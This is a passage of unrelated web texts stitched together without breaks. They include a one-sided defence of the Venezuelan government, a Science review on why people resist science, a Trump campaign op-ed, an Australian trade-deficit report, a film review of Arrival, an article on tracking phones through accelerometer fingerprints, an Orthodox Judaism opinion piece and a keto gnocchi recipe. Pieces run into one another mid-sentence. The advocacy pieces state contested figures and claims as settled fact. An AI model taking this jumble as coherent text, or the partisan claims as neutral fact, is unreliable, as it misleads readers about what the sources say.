percent a year, while on the other hand non-oil GDP was growing at around ten percent during the same period. Looking at the current recession in Venezuela also provides evidence that the economy is not based on an oil boom. While Venezuela saw negative growth in 2009, this did not have to be so bad. The country has accumulated massive international reserves, and when oil prices dropped and the economy began to slow, the government could have used these reserves to fund stimulus measures to make up for the loss in demand. With relatively low levels of public debt, Venezuela also could have borrowed money internationally to finance counter-cyclical spending. Further evidence of this is that despite that the economy shrank 3.3 percent, poverty rates continued to decline and unemployment was less affected than in many other countries hit by the global recession. Spin: Venezuela supports terrorist groups including the FARC. The Truth: No specific proof of Venezuelan support for terrorist groups has ever been presented. Groups and individuals opposed to the Venezuelan government, both in Venezuela and internationally, have continually made allegations that the Venezuelan government supports groups on the State Department list of terrorist organizations, most commonly the FARC. Despite this, no specific, verifiable proof has ever been presented; indeed many of the allegations are based on a single, discredited source (see below). Venezuela and Colombia share a border of more than 2000 km, much of which is dense, sparsely populated jungle; it is likely that the FARC operates on both sides of the border area. A new round of allegations of Venezuelan support for the FARC occurred after a March 2008 raid on a FARC camp in the eastern jungle of Ecuador near the Colombian border. Although the bombing raid killed 26 people and destroyed much of the camp, the Colombian military (itself responsible for horrific human rights abuses and ties to right wing paramilitaries) claims to have recovered laptops, hard drives and memory cards that were not damaged in the raid. The Colombian government has since made numerous allegations of Venezuelan (and Ecuadorean) support for the FARC based on these files. Colombian officials have leaked excerpts of the documents, exaggerating the significance of the contents for possible political purposes. Colombia also made a number of other allegations that stemmed from the laptops regarding an alleged FARC “dirty bomb” and the FARC’s ties to Ecuador, both of which were quickly proven false. Some experts expressed skepticism regarding the laptop documents in part due to how quickly Colombia appeared to find incriminating information. An Interpol analysis stated that it would take more than one thousand years to read through it all, at a rate of a hundred pages per day, yet Colombia began releasing some of what would be the most damning evidence within just days of the raid. Yet the Colombian authorities continued to claim to find evidence from the computer files linking not only the Venezuelan and Ecuadorian governments to the FARC, but also investigative journalists, activists, and others. Recently released Colombian government documents show that some of these individuals were the targets of “smear campaigns” by the Colombian presidency and the intelligence agency. The allegation that received the most press coverage was that Chávez had offered some $300 million in support to the FARC. This turned out, however, to be based on a far-reaching interpretation of sections of the files, and it is also possible that various alleged communications between the FARC and Venezuelan government actually related to Venezuela’s role in the months just prior to the raid in negotiating the release of high-profile hostages from the FARC. After a phone call from President George W. Bush, Colombian President Alvaro Uribe abruptly ended Chávez’s official mediation role. The released hostage Pablo Moncoyo, after being freed following over a decade in captivity, thanked Chávez but not Uribe for his release. Although the U.S. and Colombia have both cited the laptops as evidence of Venezuelan support for the FARC, most other countries and international bodies have not, and in April 2008 OAS Secretary General Jose Miguel Insulza testified before the House Subcommittee on Western Hemispheric Affairs that there was no evidence of Venezuelan support for the FARC. An Interpol analysis of the laptops concluded that because of the handling of the evidence by the Colombian government for days before it was turned over, that it would not hold up in judicial proceedings. The computers and other devices were in control of the Colombia military for two days until they were handed over to computer experts, and then it was another week before they were given to Interpol. Interpol did not analyze the contents of the documents, in fact they had non-Spanish speakers evaluate the contents, despite that most – if not all – of the emails and other text was in Spanish. Recently, further allegations have been made about Venezuelan support for both the FARC and the ETA (the Basque separatist group that is also labeled a terrorist organization). This made a splash in the media in March 2010 when a Spanish judge brought charges against Venezuela claiming Venezuelan support for the ETA. The evidence cited was again from the recovered FARC laptops, and during a recent hearing before the Senate Armed Service Committee, Douglas Fraser, the U.S. Commander of the U.S. Southern Command, testified that he was not aware of any evidence of Venezuelan support for the ETA. Although he later recanted these statements after meeting with the U.S. State Department, this seems more political than factual. It is unlikely that the head of the U.S. military in Latin America would not be aware of this evidence, had if it existed. Spin: Hugo Chávez controls everything that happens in Venezuela in a “top-down” fashion. The Truth: Venezuela’s “Bolivarian Revolution” empowers communities to make decisions and exert more control over their lives in a “bottom-up” distribution of power. Most media coverage of Venezuela focuses on the role of president Chávez, framing coverage of developments in Venezuela whereby decision-making appears to be unilaterally made by Chávez. This ignores, however, the efforts that have been made in Venezuela to increase political participation and empower grassroots organizations, not to mention the role of the legislature, the judiciary, government agencies, and political parties – both Chávez’s and independent parties. Democratic participation has increased greatly under Chávez. As noted above, voter participation increased from 54 percent to 73 percent from the 1998 presidential election to the 2006 election.
brother, or brushing one's teeth (5, 17). Similarly, when told about a brain transplant from a boy to a pig, they believed that you would get a very smart pig, but one with pig beliefs and pig desires (18). For young children, then, much of mental life is not linked to the brain. The strong intuitive pull of dualism makes it difficult for people to accept what Francis Crick called "the astonishing hypothesis" (19): Dualism is mistaken—mental life emerges from physical processes. People resist the astonishing hypothesis in ways that can have considerable social implications. For one thing, debates about the moral status of embryos, fetuses, stem cells, and nonhuman animals are sometimes framed in terms of whether or not these entities possess immaterial souls (20, 21). What's more, certain proposals about the role of evidence from functional magnetic resonance imaging in criminal trials assume a strong form of dualism (22). It has been argued, for instance, that if one could show that a person's brain is involved in an act, then the person himself or herself is not responsible, an excuse dubbed "my brain made me do it" (23). These assumptions about moral status and personal responsibility reflect a profound resistance to findings from psychology and neuroscience. The main reason why people resist certain scientific findings, then, is that many of these findings are unnatural and unintuitive. But this does not explain cultural differences in resistance to science. There are substantial differences, for example, in how quickly children from different countries come to learn that Earth is a sphere (10). There is also variation across countries in the extent of adult resistance to science, including the finding that Americans are more resistant to evolutionary theory than are citizens of most other countries (24). Part of the explanation for such cultural differences lies in how children and adults process different types of information. Some culture-specific information is not associated with any particular source; it is "common knowledge." As such, learning of this type of information generally bypasses critical analysis. A prototypical example is that of word meanings. Everyone uses the word "dog" to refer to dogs, so children easily learn that this is what they are called (25). Other examples include belief in germs and electricity. Their existence is generally assumed in day-to-day conversation and is not marked as uncertain; nobody says that they "believe in electricity." Hence, even children and adults with little scientific background believe that these invisible entities really exist (26). Other information, however, is explicitly asserted, not tacitly assumed. Such asserted information is associated with certain sources. A child might note that science teachers make surprising claims about the origin of human beings, for instance, whereas their parents do not. Furthermore, the tentative status of this information is sometimes explicitly marked; people will assert that they "believe in evolution." When faced with this kind of asserted information, one can occasionally evaluate its truth directly. But in some domains, including much of science, direct evaluation is difficult or impossible. Few of us are qualified to assess claims about the merits of string theory, the role of mercury in the etiology of autism, or the existence of repressed memories. So rather than evaluating the asserted claim itself, we instead evaluate the claim's source. If the source is deemed trustworthy, people will believe the claim, often without really understanding it. Consider, for example, that many Americans who claim to believe in natural selection are unable to accurately describe how natural selection works (3). This suggests that their belief is not necessarily rooted in an appreciation of the evidence and arguments. Rather, this scientifically credulous subpopulation accepts this information because they trust the people who say it is true. Science is not special here; the same process of deference holds for certain religious, moral, and political beliefs as well. In an illustrative recent study, participants were asked their opinion about a social welfare policy that was described as being endorsed by either Democrats or Republicans. Although the participants sincerely believed that their responses were based on the objective merits of the policy, the major determinant of what they thought of the policy was, in fact, whether or not their favored political party was said to endorse it (27). Additionally, many of the specific moral intuitions held by members of a society appear to be the consequence, not of personal moral contemplation, but of deference to the views of the community (28). Adults thus rely on the trustworthiness of the source when deciding which asserted claims to believe. Do children do the same? Recent studies suggest that they do; children, like adults, have at least some capacity to assess the trustworthiness of their information sources. Four- and five-year-olds, for instance, know that adults know things that other children do not (like the meaning of the word "hypochondriac") (29), and when given conflicting information from a child and from an adult, they prefer to learn from the adult (30). They know that adults have different areas of expertise: Doctors know how to fix broken arms, and mechanics know how to fix flat tires (31, 32). They prefer to learn from a knowledgeable speaker than from an ignorant one (29, 33), and they prefer a confident source to a tentative one (34). Finally, when 5-year-olds hear about a competition whose outcome was unclear, they are more likely to believe a person who claimed that he had lost the race (a statement that goes against his self-interest) than a person who claimed that he had won the race (a statement that goes with his self-interest). In a limited sense, then, they are capable of cynicism (35). These developmental data suggest that resistance to science will arise in children when scientific claims clash with early emerging, intuitive expectations. This resistance will persist through adulthood if the scientific claims are contested within a society, and it will be especially strong if there is a nonscientific alternative that is rooted in common sense and championed by people who are thought of as reliable and trustworthy. This is the current situation in the United States, with regard to the central tenets of neuroscience and evolutionary biology. These concepts clash with intuitive beliefs about the immaterial nature of the soul and the purposeful design of humans and other animals, and (in the United States) these beliefs are particularly likely to be endorsed and transmitted by trusted religious and political authorities (24). Hence, these fields are among the domains where Americans' resistance to science is the strongest. References and Notes * 1. H. Nowotny, Science 308, 1117 (2005).[Abstract/Free Full Text] * 2. "Teaching of Creationism is Endorsed in New Survey" New York Times, 31 August 2005, p. A9. * 3. A. Shtulman, Cognit. Psychol. 52, 170 (2006). [CrossRef] [ISI] [Medline] * 4. M. Shermer, Why People Believe Weird Things: Pseudoscience, Superstition, and Other Confusions of Our Time (Owl Books, New York, 2002). * 5. P. Bloom, Descartes' Baby (Basic Books, New York, 2004). * 6. E. Spelke, Cognition 50, 431 (1994). [CrossRef] [ISI] [Medline] * 7. G. Gergely, Z. Nadasdy, G. Csibra, S. Biro, Cognition 56, 165 (1995). [CrossRef] [ISI] [Medline] * 8. V. Kuhlmeier, K. Wynn, P. Bloom, Psychol. Sci. 14, 402 (2003). [CrossRef] [ISI] [Medline] * 9. S. Carey, J. Appl. Dev. Psychol. 21, 13 (2000). [CrossRef] [ISI] * 10. M. Siegal, G. Butterworth, P. A. Newcombe, Dev. Sci. 7, 308 (2004). [CrossRef] [ISI] [Medline] * 11. S. Vosniadou, W. F. Brewer, Cognit. Psychol. 24, 535 (1992). [CrossRef] [ISI] * 12. S. Vosniadou, in Mapping the Mind, L. Hirschfeld, S. Gelman, Eds. (Cambridge Univ. Press, New York, 2003), pp. 412–430. * 13. M. McCloskey, A. Caramazza, B. Green, Science 210, 1139 (1980).[Abstract/Free Full Text] * 14. M. K. Kaiser, J. Jonides, J. Alexander, Mem. Cogn. 14, 308 (1986). [ISI] [Medline] * 15. D. Kelemen, Cognition 70, 241 (1999). [CrossRef] [ISI] [Medline] * 16. M. Evans, Cognit. Psychol. 42, 217 (2001). [CrossRef] [ISI] [Medline] * 17. A. S. Lillard, Child Dev. 67, 1717 (1996). [CrossRef] [ISI] [Medline] * 18. C. N. Johnson, Child Dev. 61, 962 (1990). [CrossRef] [ISI] [Medline] * 19. F. Crick, The Astonishing Hypothesis (Simon & Schuster, New York, 1995). * 20. This belief in souls also holds for some expert ethicists. For instance, in their 2003 report Being Human: Readings from the President's Council on Bioethics, the President's Council described people as follows: "We have both corporeal and noncorporeal aspects. We are embodied spirits and inspirited bodies (or, if you will, embodied minds and minded bodies)" (21). * 21. The President's Council on Bioethics, Being Human: Readings from the President's Council on Bioethics (The President's Council on Bioethics, Washington, DC, 2003). * 22. J. D. Greene, J. D. Cohen, Philos. Trans. R. Soc. London Ser. B 359, 1775 (2004). [CrossRef] [ISI] [Medline] * 23. M. Gazzaniga, The Ethical Brain (Dana, Chicago, 2005). * 24. J. D. Miller, E. C. Scott, S. Okamoto, Science 313, 765 (2006).[Abstract/Free Full Text] * 25. P. Bloom, How Children Learn the Meanings of Words (MIT Press, Cambridge, MA, 2000). * 26. P. L. Harris, E. S. Pasquini, S. Duke, J. J. Asscher, F. Pons, Dev. Sci. 9, 76 (2006). [CrossRef] [ISI] [Medline] * 27. G. L. Cohen, J. Pers. Soc. Psychol. 85, 808 (2003). [CrossRef] [ISI] [Medline] * 28. J. Haidt, Psychol. Rev. 108, 814 (2001). [CrossRef] [ISI] [Medline] * 29. M. Taylor, B. S. Cartwright, T. Bowden, Child Dev. 62, 1334 (1991). [CrossRef] [ISI] [Medline] * 30. V. K. Jaswal, L. A. Neely, Psychol. Sci. 17, 757 (2006). [CrossRef] [ISI] [Medline] * 31. D. J. Lutz, F. C. Keil, Child Dev. 73, 1073 (2002). [CrossRef] [ISI] [Medline] * 32. J. H. Danovitch, F. C. Keil, Child Dev. 75, 918 (2004). [CrossRef] [ISI] [Medline] * 33. M. A. Koenig, F. Clement, P. L. Harris, Psychol. Sci. 15, 694 (2004). [CrossRef] [ISI] [Medline] * 34. M. A. Sabbagh, D. A. Baldwin, Child Dev. 72, 1054 (2001). [CrossRef] [ISI] [Medline] * 35. C. M. Mills, F. C. Keil, Psychol. Sci. 16, 385 (2005). [CrossRef] [ISI] [Medline] * 36. We thank P. Harris and F. Keil for helpful comments on an earlier version of this manuscript. Neither author received any funding for the preparation of this article. It may be obvious that people tend to trust their intuition over data, but some counterintuitive facts or forces are questioned (i.e. evolution), while other are not (i.e. electricity, the non-flatness of the earth). This review (entitled Childhood Origins of Adult Resistance to Science-- I can't tell if the title is deliberately clever or entirely serious) takes a look at why, concluding (perhaps unsurprisingly) that resistance to scientific information is exacerbated in societies "where nonscientific ideologies have the advantages of being both grounded in common sense and transmitted by trustworthy sources." I tried to pick out some select quotes, but instead I'm just putting the whole thing below the fold. It's a fascinating article, and very well-written: Labels: Cognitive Science Haloscan CommentsWas that very convincing gorilla seen (mostly in the shadows, granted) at the end of this week's episode of The Flash actually a guy in a suit? It seems either that, or there was somebody doing the voices for his snorts and grunts...and that someone is a stuntman and actor who has worked on projects like Arrow, Smallville, Rise of the Planet of the Apes and Blade: Trinity. Following the episode airing this week, here's the tweet The Flash pilot's stunt coordinator Jon Kralt tweeted out: Simon Burnett, the actor he indicated as Grodd, retweeted that as well as a number of other Grodd-related items (including our story indicating that the character would appear that night, written following a tweet from showrunner Andrew Kreisberg). While he didn't specifically confirm that he was behind Grodd, the actor -- who regularly does stunts on Arrow and appeared in the second episode of this season as Tim Kaufman, according to IMDb -- did retweet someone who said "Wait, Simon Burnett was Grodd?" Will Burnett be doing whatever stunt work is needed down the line to make Gorilla Grodd a believable, physical menace? It seems likely they'd get a voice actor to do Grodd's voice...although it's also impossible to say whether they'd use Burnett's own voice if he's inside the suit.WISCONSIN — There are 426 school districts in Wisconsin, but which ones rise to the top year after year? Niche.com, a national consumer ranking website, just released its 2017 rankings, and a familiar school district is at the top. The Niche 2017 Places with the Best Public Schools ranking provides a comprehensive overall assessment of the public education available at the place level. Its rankings takes into account key factors such as the strength of academics, quality of teachers, school resources, the quality of student life, as well as student and parent reviews. Here are the top 100 School Districts in Wisconsin, according to Niche.com To get to these results, Niche analyzed academic and student life data from the U.S. Department of Education along with test scores, college data and ratings collected from millions of Niche users. Read how the ranking was calculated here. >>> Image via Shutterstock.comAll smartphones contain accelerometers, and apps get free use of that information for applications ranging from games to pedometers. The sensor that lets your phone know which way the screen is oriented also—thanks to minute manufacturing variations—emits a unique data “fingerprint” that could allow your phone to be tracked, even if all other privacy settings are locked down, researchers say. Unique imperfections: A micrograph of a MEMS accelerometer. In addition to governing basic things like screen orientation, accelerometer data is widely used by apps such as pedometers and mobile games. Meanwhile, many apps often rely on advertising, which has led advertisers to search for ways to track users and their Web habits. Even if you don’t allow apps to see your personal data or location, just the raw movements of the phone—which can be measured without permission—can betray the phone’s unique identity and track it over time, says Romit Roy Choudhury, an associate professor at the University of Illinois who cowrote a paper with colleagues at the University of South Carolina that describes the phenomenon. “There has been a lot of work to catch the leakage of ID information from phones,” he says. “We are now saying that accelerometer data going out of the phone can be treated as an ID.” Accelerometers use a technology called micro-electro-mechanical systems, or MEMS. In the case of an accelerometer, tiny bars of metal move between other metal bars in response to motion, changing electrical capacitance and indicating 3-D movement. Using this information, a smartphone can determine a change in screen orientation, or translate physical movements to a character in a game. But the underlying data varies minutely from accelerometer to accelerometer, the researchers found. After testing 80 accelerometer chips—plus 25 Android phones and two tablets that used accelerometers—the researchers could pick out the fingerprint with 96 percent accuracy. Janne Lindqvist, a mobile security researcher at the Winlab at Rutgers University, says the work is novel and important. “Accelerometers still do not require ‘permissions’ to be enabled,” he says. “So they can be used stealthily. I think this is great work, and points out yet another reason why smartphones shouldn’t allow easy access to accelerometer data.” Indeed, earlier research had shown that accelerometer data can also be used to infer passwords based on the taps people make on their phones. No regulations or industry practices mandate that users must give affirmative permission before an app can access accelerometer motion data (in contrast, people must give permission before giving their precise location data from GPS chips). Choudhury said his team was working on ways to add noise to the accelerometer data in a way that obscures the fingerprint, while still making the basic position data accurate. “We believe that some of this can be done for most of the applications, except the ones that you need very precise details,” he says. Other sensors in smartphones—such as gyroscopes, magnetometers, and microphones—might also have similar electronic fingerprints. “Collection of such fingerprints from other sensors could allow a device to be tracked anywhere and for long periods,” Choudhury says.Corporate brands keep finding newer (and funnier) ways to get trolled to smithereens by the rest of the Web. The Internet is not always a friendly place to a Twitter campaign—just ask Coca-Cola, which shut down its #MakeItHappy campaign after getting tricked into tweeting Hitler quotes. Or, a while back, Mountain Dew, which asked for a new flavor and ended up with “Fapple” and “Hitler Did Nothing Wrong.” (Yes, it’s always Hitler.) So kudos to Lincoln, risking all and asking the Internet (during the Grammys!) to submit selfies. The automaker created a site that uses facial detection technology to compose music that’s unique to your features. Rather than spend time snapping selfies with our best duckfaces, we decided to take the most beloved face on the Internet—Nicolas Cage—and turn it into a gorgeous soundtrack that will delight and disturb you. Pick your favorite face below and get ready to listen to the most amazing music you’ve ever heard. 1) “Steal the Declaration of My Love” 2) “Uncage My Heart” CageMe 3) “Not the Bees!” 4) “I’ll Never Turn Down a Roll” 5) “The Moon Struck Me and I Struck Back” 6) “You’re My National Treasure” 7) “Paying My (Tax) Debts” 8) “Moustache Me No Questions and I’ll Tell You No Lies” 9) “Requiem for Arizona” 10) “Nothing Bloodier Than a Vampire’s Kiss” Photo via Guillaume Paumier/Wikimedia CommonsAustralia's trade deficit of $3.9b its worst on record Updated Australia has posted its worst monthly trade deficit on record, with imports exceeding exports by nearly $3.9 billion. Bureau of Statistics data show the deficit of $3,888 million in April just edged the previous record of $3,881 million set in February 2008 as commodity prices slumped during the peak of the global financial crisis. The data shocked economists, who had been expecting a poor result but nowhere near as bad as the actual figure. The typical forecast in a Reuters survey was for a deficit of $2.25 billion, which would have already been almost twice the previous month's trade shortfall. The actual result is more than treble March's downwardly revised $1,231 million seasonally adjusted deficit. The value of goods and services exports fell 6 per cent, or more than $1.56 billion, seasonally adjusted, while the value of imports jumped 4 per cent, or nearly $1.1 billion. Traders reacted to the negative trade surprise, and disappointingly flat retail sales, by selling the Australian dollar, which dropped from around 77.8 before the release at 11:30am (AEST) to 77.1 shortly after that time. JP Morgan economist Tom Kennedy described the trade data as a "disaster", with it being the biggest deficit in figures going back to 1971. UBS chief economist Scott Haslem pointed out that some deficits during the global financial crisis were worse as a proportion of the economy, which has grown since then, but it was still a very poor set of numbers. "Today's (Thursday's) trade data thumped home the reality of Australia's falling terms of trade," he said, referring to the ratio of prices that Australia gets for its exports compared to what it pays for imports, which fell another 2.9 per cent in the March quarter. Coal and iron ore dominate export slump The biggest drag on exports came from coal and iron ore. The ABS category that covers coal slumped by 22 per cent, or $859 million, while the metal ores and minerals category dominated by iron ore dropped by 13 per cent, or $808 million. For iron ore, the fall was due to a small decline in the quantity shipped and a large slide in the price received for those exports. The slowdown in the Chinese economy is affecting the amount of cash coming into the Australian economy. NAB senior economist David de Garis For coal, the slump was much more due to a steep slide in the volume of exports, while prices fell slightly. JP Morgan's Tom Kennedy said the ABS has noted that weather-related port closures negatively affected coal exports in April. "Given this drag is weather-related, we expect a bounce-back, with export volumes likely to bounce strongly in the upcoming May release," he added. Mr Kennedy said the fall in iron ore export revenue is more fundamental, but it also should improve a little in the May figures. "Volumes are expected to pick-up strongly from here, given ports data and the output schedules of the miners," he observed. "Similarly, iron ore prices have bounced 30 per cent from the April's lows in spot markets, meaning prices dynamics will become more favourable for iron ore exporters in coming months." Although UBS are expecting those prices to fall back to around $US50 a tonne later in the year. While some bounce back is expected, NAB's senior economist David de Garis told ABC News that the data are a reflection of China's economic slowdown and transition. "It's showing that the slowdown in the Chinese economy is affecting the amount of cash coming into the Australian economy," he said. "Means a little bit slower economic growth and slower income growth too." However, TD Securities chief Asia-Pacific economist Annette Beacher said there is too much focus on China, with Australia actually earning a bigger surplus from its trade with Japan over the first four months of this year. "China is Australia's number one trading partner... in terms of exports, for example 2015 to date 30 odd per cent of our exports do go to China," she told ABC News Online. "But what I like to look at is which country is actually giving us more dollars in net terms, as in exports minus imports... for the first four months of 2015 Japan is actually our number one trading partner. "Some of that is actually because imports from Japan for Australia is actually only 7 per cent of imports, so it's more about that we import less from Japan." Topics: economic-trends, trade, coal, iron-ore, mining-industry, australia First postedGet the biggest What's On stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email We truly live in a golden age: Greggs has launched its first drive-thru and it's right here in Greater Manchester. You can now go on an iced bun run without even getting out of your car at the new branch at Irlam Gateway Service Station in Salford. The bakery chain said it had caved to popular demand on Twitter. Theresa May and Jeremy Corbyn, take note. The menu will include all the Greggs classics, from steak bakes to sausage rolls, as well as sandwiches, cakes, biscuits and buns. The new Balanced Choice range of healthier sandwiches, salads and soups - all under 400 calories - will also be available to grab and go. The concept, which follows the launch of Greggs delivery service in Manchester, is being tried out here before a potential nationwide roll-out, but bosses say there are no immediate plans to open any more. Roger Whiteside, Chief Executive for Greggs, said: “When it comes to food on-the- go, our customers tell us that convenience is key. We’ve been working hard to take Greggs to where our customers need and want us to be including office parks, industrial estates, retail parks and travel hubs. “A drive thru offers the ultimate convenience and seemed the logical next step for us to take. This is a first for Greggs and we are excited to trial the concept in Irlam, Manchester.” The branch opened on Monday June 5 and will be open from 6am to 9pm Monday to Friday, from 7am to 7pm on Saturday and 8am to 6pm on Sunday.Republican presidential candidate Donald Trump greets his supporters before speaking during a campaign rally at the Nugget Hotel and Casino in Sparks on Oct. 29, 2015. (Photo: Jason Bean) The United States of America is a land of laws, and Americans value the rule of law above all. Why, then, has our Congress allowed the president and the executive branch to take on near-dictatorial power? How is it that we have a president who will not enforce some laws and who encourages faceless, nameless bureaucrats to manage public lands as if the millions of acres were owned by agencies such as the Bureau of Land Management and the Department of Energy? In Nevada, the lack of enforcement of immigration laws and the draconian rule of the BLM are damaging the economy, lowering the standard of living and inhibiting natural economic growth. The only way to change these circumstances is to bring to Washington a president who will rein in the federal government and get Congress to do its job. It’s not that we don’t have talented people in D.C. It’s that we have no leadership there. The BLM controls over 85 percent of the land in Nevada. In the rural areas, those who for decades have had access to public lands for ranching, mining, logging and energy development are forced to deal with arbitrary and capricious rules that are influenced by special interests that profit from the D.C. rule-making and who fill the campaign coffers of Washington politicians. Far removed from the beautiful wide open spaces of Nevada, bureaucrats bend to the influence that is closest to them. Honest, hardworking citizens who seek freedom and economic independence must beg for deference from a federal government that is more intent on power and control than it is in serving the citizens of the nation. In and around Clark County, the situation is even worse. Reno neighborhood stung by sage grouse rules Because the BLM is so reluctant to release land to local disposition in Nevada, the cost of land has skyrocketed and the cost of living has become an impediment to growth. Where are the city and county to get the land for schools, roads, parks and other public use areas if they have to beg Washington for the land and then pay a premium price for it? How are people who see a future in Nevada to find housing and employment if the federal government is inhibiting economic development? How are businesses to find the employees to fill the jobs that could be created if there were better leadership in Washington? Unfortunately, many of the jobs are filled by those who came to this country illegally. Illegal immigration costs the people of Nevada over $1.2 billion a year. That is nearly $6,000 for every man, woman and child in the state. Those are tax dollars that could go to build those schools, roads, sewers, water treatment plants and all the other services needed for a growing economy. Illegal immigrants absorb tax dollars from public schools, public health and public safety. Illegal immigration suppresses wages and undermines the ability of workers to organize and seek better working conditions. Illegal immigration is an affront to the very rule of law valued by all Americans and most assuredly by all Nevadans. What is needed in Washington is a president who will rein in the executive branch and work with Congress to make sure the legislative branch does its job. What is needed in Washington is a president who has the will, strength and courage to lead. What is needed in Washington is a president who is not beholden to special interests and who is only interested in putting America and Americans first. When I am elected president, I will bring the executive branch back inside the Constitution and will work with Congress to put America first. I will lead the effort to gain meaningful tax reform, trade reform and education reform. I will lead the effort to protect your right to worship as you see fit and your right to protect your family and property with the right to keep and bear arms. Together, we will make America great again. Donald J. Trump, a Republican, is a businessman and a candidate for president of the United States. Read or Share this story: http://on.rgj.com/1RcqZVBMortal Kombat II Kontrol Pad Manufacturer: Innovation Type: Control pad Made for: Sega Mega Drive Release Date RRP Code 199x $?? This teeny-tiny article needs some work. You can help us by expanding it. The Mortal Kombat II Kontrol Pad by Innovation is a third-party six-button controller for the Sega Mega Drive, complete with added turbo features. It was designed to assist players with the Mega Drive version of Mortal Kombat II, having a selection of each character's moves mapped to extra buttons. Perhaps bizarrely, the controller actually uses cartridges containing special move data which insert into the slot on the back. It is assumed that it is very similar (if not identical, aethetics aside) to the Mortal Kombat 3 Kontrol Pad. Physical scans Mega Drive, US Cover Controller, packaging, and cartridges Cartridge IIIBFI London Film Festival Science fiction thrillers usually send in gun-toting heroes like Will Smith or Tom Cruise to kick invading alien butt. Arrival is completely, wonderfully different: it sends in a linguist, played by Amy Adams. “Language,” one character says, “is the first weapon drawn in a conflict.” The big question to ask the aliens: what is their purpose on Earth? In Contact, the aliens used prime numbers as a Rosetta stone that could be used to decrypt their communication; in Close Encounters of the Third Kind they helpfully used five musical tones in a major scale, presumably because vibrating strings have the same harmonics in other parts of our galaxy. The aliens of Arrival make incomprehensible groaning noises. Advertisement In attempting to communicate with the aliens, Adams’s character, Louise Banks, learns that they use non-linear orthography. Their written language is circular, and doesn’t seem progress from cause to effect – to the aliens, time does not have a direction. This is not so odd – on Earth there are cultures that conceive of time differently to how we do it in English. Chinese speakers tend to think of time running from top to bottom, as opposed to English speakers, who think of time running left to right. “They use non-linear orthography,” says Banks. “Do they think like that too?” This is our introduction to the Sapir-Whorf hypothesis, which holds that a language shapes the way we think. In the 1940s, Edward Sapir and Benjamin Whorf proposed that the structure of a language determines, or at least influences, how we perceive and experience the world. The theory has been controversial, but there is now some support for it. For example, in Russian there are two words for different shades of blue, and Russian speakers are faster at discriminating between the shades than are English speakers (PNAS, doi.org/bms49k). It seems that words can prime parts of the brain to work better. Building a black hole: Our spoiler-free guide to the science of Interstellar Some supporters of linguistic relativity, which is another name for the Sapir-Whorf hypothesis, think that the cognitive benefits of language helped spur its evolution. This is relevant to the movie, as the fate of humanity, and possibly of the aliens, depends on us understanding their language. There could be some evidence for this selective power of language in putty-nosed monkeys. These are social monkeys that live in Nigeria and have two simple warning calls: a “pyow” means there is a leopard coming, and a “hack” means there is an eagle. But if you put the two together it means “let’s move along”. It’s very simple, to be sure, but language requires different meanings to be constructed from the same syllables, which the monkeys have managed to do. BFI London Film Festival The movie takes this idea and runs with it. If you learn a new language, your brain gets rewired, we are told. Sure, this happens especially in bilingual speakers switching between languages. In Arrival we see Banks’s brain getting rewired to an absurd extreme. This rewiring has a deeply personal impact on Banks. In fact, Arrival is far more about human understanding, memory, love and fortitude than it is about alien invasion. Banks’s daughter, Hannah, has tragically died of some rare illness. “There are days that define the story of your life,” Banks says at the film’s downbeat beginning. Here we get a namecheck to the short story on which the film is based, a piece by Ted Chiang called Story of Your Life, and a subtle clue to one of themes of the film: Hannah’s name is a palindrome, so it reads the same forwards and backwards. Interstellar achieved a similarly moving emotional tone, but that film had an epic, last-chance-for-humanity feel to it. With Arrival, the stakes are just as high, but the struggle and the tension stay grounded – in Amy Adams. Adams gives a performance of such intimacy and empathy that she dominates everyone else on screen, even the gigantic, mysterious aliens themselves. Director Denis Villeneuve is currently working on the Blade Runner sequel. On the evidence of Arrival, I can’t wait: this is a movie that stays with you, and will have you pondering the final twist for days. Arrival was shown at the BFI London Film Festival.Recently, I argued that Orthodox Judaism must take the same steps to define and distinguish Haredi Reform Judaism as it does to define and distinguish HUC Reform Judaism. The response was, for the most part, swift and vitriolic. Most comments took on the usual breed of internet trolling, including psychoanalyzing me based on the view presented or the city in which I live, dismissing the logical argument presented by alternately calling me hateful or restating dogma, appeals to authority, tautologies, and- my personal favorite- tying my argument to tisha b’av as if legitimate discourse becomes illegitimate for nine days a year. (My favorite were the commenters who condemned my argument as tisha b’av hate speech, arguing that Haredim are God-fearing purveyors of acts of kindness- unlike those terrible Reform Jews. I love irony.) I was tempted to just ignore the firestorm, because engaging the trolls is never a good idea, but there were also some serious, thoughtful questions and challenges to the case I made. I will address those below. “You have mischaracterized HUC’s theology” “How about respecting Reform Jews instead of using them as a foil for making your insular point?” Before publishing this opinion, I conferred with Reform rabbis to ensure I was not misstating Reform theology. Moreover, as I stated in the article, we believe in inclusivity and an open dialogue. If someone perceived that I was suggesting that either brand of Reform Judaism should be considered less Jewish, let me clearly state that that is not the case. I love all Jews. HUC is not being divisive when it formulates a theology that is at odds with Orthodox Judaism. It does not need to apologize for having a different point of view and defining for itself the parameters of HUC practice. Why should it be considered any more offensive for Orthodoxy to do the same? I am not offended by Haredim saying I do not live a Haredi lifestyle, nor Reform Jews stating I do not live a Reform lifestyle. I know I don’t. I choose to live an Orthodox lifestyle because that is what I believe God demands of me. Haredi and Hebrew Union College Jews are welcome to proudly practice their own Judaism. Neither should be threatened by the statement that their Judaism is not mine. I was calling for definition, not for exclusion. “Why do you need definition at all? Live and let live.” “Haredim could make the same argument about Orthodoxy.” Not only could Haredi leaders make the same argument about Orthodoxy, but they do. Repeatedly. For years now, the Haredi world has not bothered to hide its contempt for any other type of Jew
roll about 1 inch in diameter and then cut pieces about 1/2″ wide. You can then form them into almost any bite sized shape you want, but sticking with a simple disk as shown in the photos yielded the best results for me. Freeze the gnocchi for 15 minutes to firm them up. before cooking, or freeze them until ready to eat. Bring a pot of salted water to a gentle boil – too vigorous and the gnocchi will fall apart. Add the gnocchi to the water in small batches and boil for 1 – 2 minutes or until floating. Remove the gnocchi with a slotted spoon onto a paper towel lined plate, and cool for 5 minutes before adding to sauce. For the sauce: Melt the butter in a large saute pan. Add lemon zest and thyme and cook for about 2 minutes or until fragrant. Add the boiled and cooled keto gnocchi to the pan and cook for about 2 minutes, stirring gently to coat with the sauce. Season with salt and pepper as desired. Notes You MUST follow the instructions to the letter on this one! Winging it will not suffice! The method isn’t complicated at all in this fathead keto gnocchi recipe – but if you don’t follow the steps the right way you’ll end up with mush and will have wasted money on ingredients. Nutrition info is for gnocchi only in case you want to serve it with a different sauce. With the butter sauce listed here the approximate nutrition info is: 577 calories, 55g fat, 6g net carbs, 22g protein. Nutrition Serving Size: 1.5 cups Calories: 